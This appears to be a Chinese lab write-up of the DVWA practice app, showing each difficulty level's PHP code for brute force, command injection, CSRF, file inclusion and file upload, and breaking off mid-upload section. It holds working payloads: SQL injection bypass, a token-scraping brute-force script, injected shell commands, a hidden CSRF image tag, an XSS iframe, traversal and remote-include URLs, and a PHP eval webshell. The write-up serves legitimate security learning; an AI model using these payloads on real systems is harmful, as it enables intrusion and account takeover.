网络安全实验室CTFEthical Hackers

DVWA实践

2018-03-14  本文已影响113人  JasonChiu17

DVWA实践

Web漏洞原理


1. DVWA环境搭建

Warmpserver+DVWA

2. Brute Force(暴力破解)

暴力破解指的是攻击者利用字典来穷举拆解出用户的账号和密码。

2.1 Low

代码:

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

服务器没有对user和password进行过滤处理,可能存在sql注入:
username:admin' and 1=1 -- -
password:123

Screenshot-2018-3-12 Vulnerability Brute Force Damn Vulnerable Web Application (DVWA) v1 10 Development .png-54.2kBScreenshot-2018-3-12 Vulnerability Brute Force Damn Vulnerable Web Application (DVWA) v1 10 Development .png-54.2kB
果然,登陆成功。
利用Burpsuite爆破admin的密码为password:
1.png-103.2kB1.png-103.2kB

2.2 Medium

代码:

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

对输入的username和password进行了过滤,基本可以防止sql注入
(MySQL5.5.37以下版本如果设置编码为GBK,能够构造编码绕过mysql_real_escape_string 对单引号的转义:宽字符注入)

虽然我所用的MySQL版本比较新,不能用宽字符注入,但是依然可以用Burpsuite暴力破解:


aaaa.png-95.7kBaaaa.png-95.7kB

2.3 High

代码:

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

对username和password进行了过滤,防止sql注入,同时加入了Anti-CSRF token,关键就是要拿到这个token再进行爆破:
python脚本:

from bs4 import BeautifulSoup
from urllib import request
url='http://192.168.0.115/dvwa/vulnerabilities/brute/index.php'
header={'Host': '192.168.0.115',
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
'Referer': 'http://192.168.0.115/dvwa/vulnerabilities/brute/index.php',
'Cookie': 'security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7'}
def gettoken(url,header):
    req=request.Request(url=url,headers=header)
    response=request.urlopen(req)
    page=response.read()
    soup=BeautifulSoup(page,"html.parser")
    user_token=soup.find('input',attrs={'name':'user_token'})['value']
    print(response.getcode(),len(page))
    return user_token
user_token=gettoken(url,header)
for line in open('E:/CTF/Dictionary/rkolin.txt'):
    url='http://192.168.0.115/dvwa/vulnerabilities/brute/index.php?username=admin&password='+line.strip()+'&Login=Login&user_token='+user_token
    print('admin',line.strip())
    user_token=gettoken(url=url,header=header)

运行结果:

200 5210
admin password
200 5402
admin 123456789
200 5262
admin 1234567890
200 5262
admin a123456789
200 5262
admin 123456
200 5262
admin qq123456
200 5262
admin abc123456
200 5262
admin 123456789a
200 5262
admin WOAINI1314
200 5262
admin 12345678
200 5262
admin 11111111
200 5262
admin 123123123
200 5262
admin 88888888
200 5262
admin 111111111
200 5262
admin 147258369
200 5262
...

利用Burpsuite来查看运行结果更加直观(cmd设置代理:set http_proxy=127.0.0.1:8080,再在cmd中运行python脚本即可,取消代理设置只需要输入set http_proxy=

ssss.png-185.9kBssss.png-185.9kB

2.4 Impossible

代码:

<?php

if( isset( $_POST[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

加入了输错密码3次就15分钟后再试的防爆破保护机制。

3. Command Injection(命令注入)

命令注入漏洞指的是通过提交恶意构造的参数来破坏命令语句结构,如果没有对输入的字符进行限制和过滤,从而达到执行恶意命令的目的,获取服务器的信息。

3.1 Low

代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

服务器对输入的内容没有做过滤,输入:127.0.0.1&&net user得到:


Screenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development .png-55.4kBScreenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development .png-55.4kB

3.2 Medium

代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

服务器只对'&&',';'进行了过滤,于是可以输入127.0.0.1&net user实现命令注入:

Screenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development (1).png-55.5kBScreenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development (1).png-55.5kB

3.3 High

代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?> 

服务器对多个字符进行了过滤,但是‘| ’左边是个空格,所以依然可以用|来实现命令注入:
127.0.0.1|net user

Screenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development (2).png-36.9kBScreenshot-2018-3-12 Vulnerability Command Injection Damn Vulnerable Web Application (DVWA) v1 10 Development (2).png-36.9kB

3.4 Impossible

代码:

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

从上面可见,设置黑名单难免会有疏漏,找到可以绕过的方法,但是impossible是设置白名单,只允许IP:数字.数字.数字.数字的形式。

4. Cross Site Request Forgery (CSRF,跨站请求伪造)

跨站请求伪造指的是攻击者诱使客户机点击精心构造的恶意链接或者访问包含攻击代码的网页,从而利用客户机尚未失效的认证信息(如cookie)向服务器发送请求,完成转账,修改密码等非法操作。
CSRF并没有盗取受害者的cookie,而是直接利用cookie。

4.1 Low

代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 
<img src="http://192.168.0.115/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

测试:
客户端A:虚拟机
服务器B:192.168.0.115(正常的服务器)
服务器C:192.168.0.102(攻击者的服务器)
A访问192.168.0.102/csrf.html,触发了csrf攻击,密码被修改。

asdf.png-6.5kBasdf.png-6.5kB

4.2 Medium

代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ])中查找了host在referer中出现的位置,说明host:192.168.0.115必须在referer中出现。
尝试了一下用Modify headers添加了referer:192.168.0.115,成功绕过了限制,当然现实当中你是无法修改到客户端A的headers请求的

GET /dvwa/vulnerabilities/csrf/?password_new=aaa&password_conf=aaa&Change=Change HTTP/1.1
Host: 192.168.0.115
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: security=medium; PHPSESSID=as94j6ostr2dnu3utbaeo264j7
Referer: 192.168.0.115
Connection: close
Upgrade-Insecure-Requests: 1
asfdsf.png-10.6kBasfdsf.png-10.6kB
所以,我们继续构造一个攻击页面(放在服务器C中)诱使客户端A点击,令页面名为:192.168.0.115.html,即可在referer中出现192.168.0.115了。
<img src="http://192.168.0.115/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>
asdfg.png-6.6kBasdfg.png-6.6kB
gadf.png-38.9kBgadf.png-38.9kB
Accept:image/webp,image/*,*/*;q=0.8
Accept-Encoding:gzip, deflate, sdch
Accept-Language:zh-CN,zh;q=0.8
Cache-Control:max-age=0
Connection:keep-alive
Cookie:security=low; PHPSESSID=5i5e7981afgjqbd8ve9i1r23d7
Host:192.168.0.115
Referer:http://192.168.0.102/192.168.0.115.html
User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36

4.3 High

代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

服务器添加了anti CSRF-token,需要验证token才能更改密码。同样的思路,构造攻击页面放在攻击者的服务器中,页面中写入脚本来获取客户端A的token。

  1. 同源:两个页面的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源。
  2. 因为C:192.168.0.102,B:192.168.0.115,虽然两者协议都是http,端口没指定,但是两者不是同一个域名(IP),则不同源。
  3. 服务器C中的脚本不能用来请求获取服务器B中的内容,值得注意的是,同源策略限制的是脚本嵌入的文本来源,而不是脚本本身,以此来防止恶意脚本读取内容。

这里可以结合XSS来获取用户的token,XSS+CSRF达到修改用户密码的目的。
在可以注入XSS的页面中,
输入:<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>,
意思是打开http://192.168.0.115/dvwa/vulnerabilities/csrf/,
并且执行语句alert(frames[0].document.getElementsByName('user_token')[0].value)>,
此时得到token,再结合CSRF,将token放入构造的链接里,诱使用户点击页面,触发链接,从而达到修改密码的目的。

asfd.png-88.1kBasfd.png-88.1kB

4.4 Impossible

代码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

要求输入原始密码,在不知道原始密码的情况下,攻击者很难修改密码。

5. File Inclusion(文件包含)

文件包含漏洞指的是服务器开启了allow_url_include选项,可以利用php的某些函数如include(),require()在url中动态包含文件,如果此时没有对url中的参数进行过滤或者存在可以绕过的漏洞或者没有对文件来源进行限制,就会造成了任意文件读取和任意命令执行的漏洞,文件包含漏洞分为本地文件包含(LFI)和远程文件包含(RFI)。

5.1 Low

代码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?> 

对传入的page参数什么都没过滤

http://192.168.0.115/dvwa/vulnerabilities/fi/?page=../../phpinfo.php

hsbfj.png-24.8kBhsbfj.png-24.8kB
<?php
phpinfo();
?>
adgda.png-23.9kBadgda.png-23.9kB

5.2 Medium

代码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?> 

对page参数过滤了"http://", "https://","../", "..\"",用的是str_replace来过滤,可以双写来绕过。

http://192.168.0.115/dvwa/vulnerabilities/fi/?page=..././..././phpinfo.php

gsfhsd.png-25.8kBgsfhsd.png-25.8kB

http://192.168.0.115/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.0.102/phpinfo.php

h fghdfh.png-23.9kBh fghdfh.png-23.9kB

5.3 High

代码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { #匹配以file开头的参数,并且不能有include.php字符
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

规定了要以file为开头,可以利用file协议来读取文件,但是要用物理地址。

http://192.168.0.115/dvwa/vulnerabilities/fi/?page=file:///C:/wamp/www/dvwa/phpinfo.php

fags.png-26kBfags.png-26kB

5.4 Impossible

代码:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

设置白名单,简单粗暴。

6. File Upload(文件上传)

文件上传漏洞指的是服务器对上传的文件没有进行严格的审查,如对文件类型的限制,对文件内容的审查,对文件大小的限制等,从而使得攻击者可以上传木马文件,获取到服务器的webshell。

6.1 Low

代码:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); #路径+上传的文件名

    // Can we move the file to the upload folder?
    if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
        // No
        echo '<pre>Your image was not uploaded.</pre>';
    }
    else {
        // Yes!
        echo "<pre>{$target_path} succesfully uploaded!</pre>"; #爆出上传路径
    }
}

?> 

服务器对上传的文件内容,文件名没有进行过滤,而且最后还爆出了上传的路径。
上传一句话木马:

<?php
@eval($_POST['Jason']);
?>
Screenshot-2018-3-13 Vulnerability File Upload Damn Vulnerable Web Application (DVWA) v1 10 Development .png-42.1kBScreenshot-2018-3-13 Vulnerability File Upload Damn Vulnerable Web Application (DVWA) v1 10 Development .png-42.1kB

用C刀连接成功:


asgasg.png-27.6kBasgasg.png-27.6kB
hertuer.png-31.1kBhertuer.png-31.1kB
  1. 木马文件上传成功
  2. 文件可以执行
  3. 上传路径可知

6.2 Medium

代码:

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; #文件名
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; #文件类型
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; #文件大小

    // Is it an image?
    if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&  #文件类型为image/jpeg,image/png
        ( $uploaded_size < 100000 ) ) {   #文件大小<100000

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
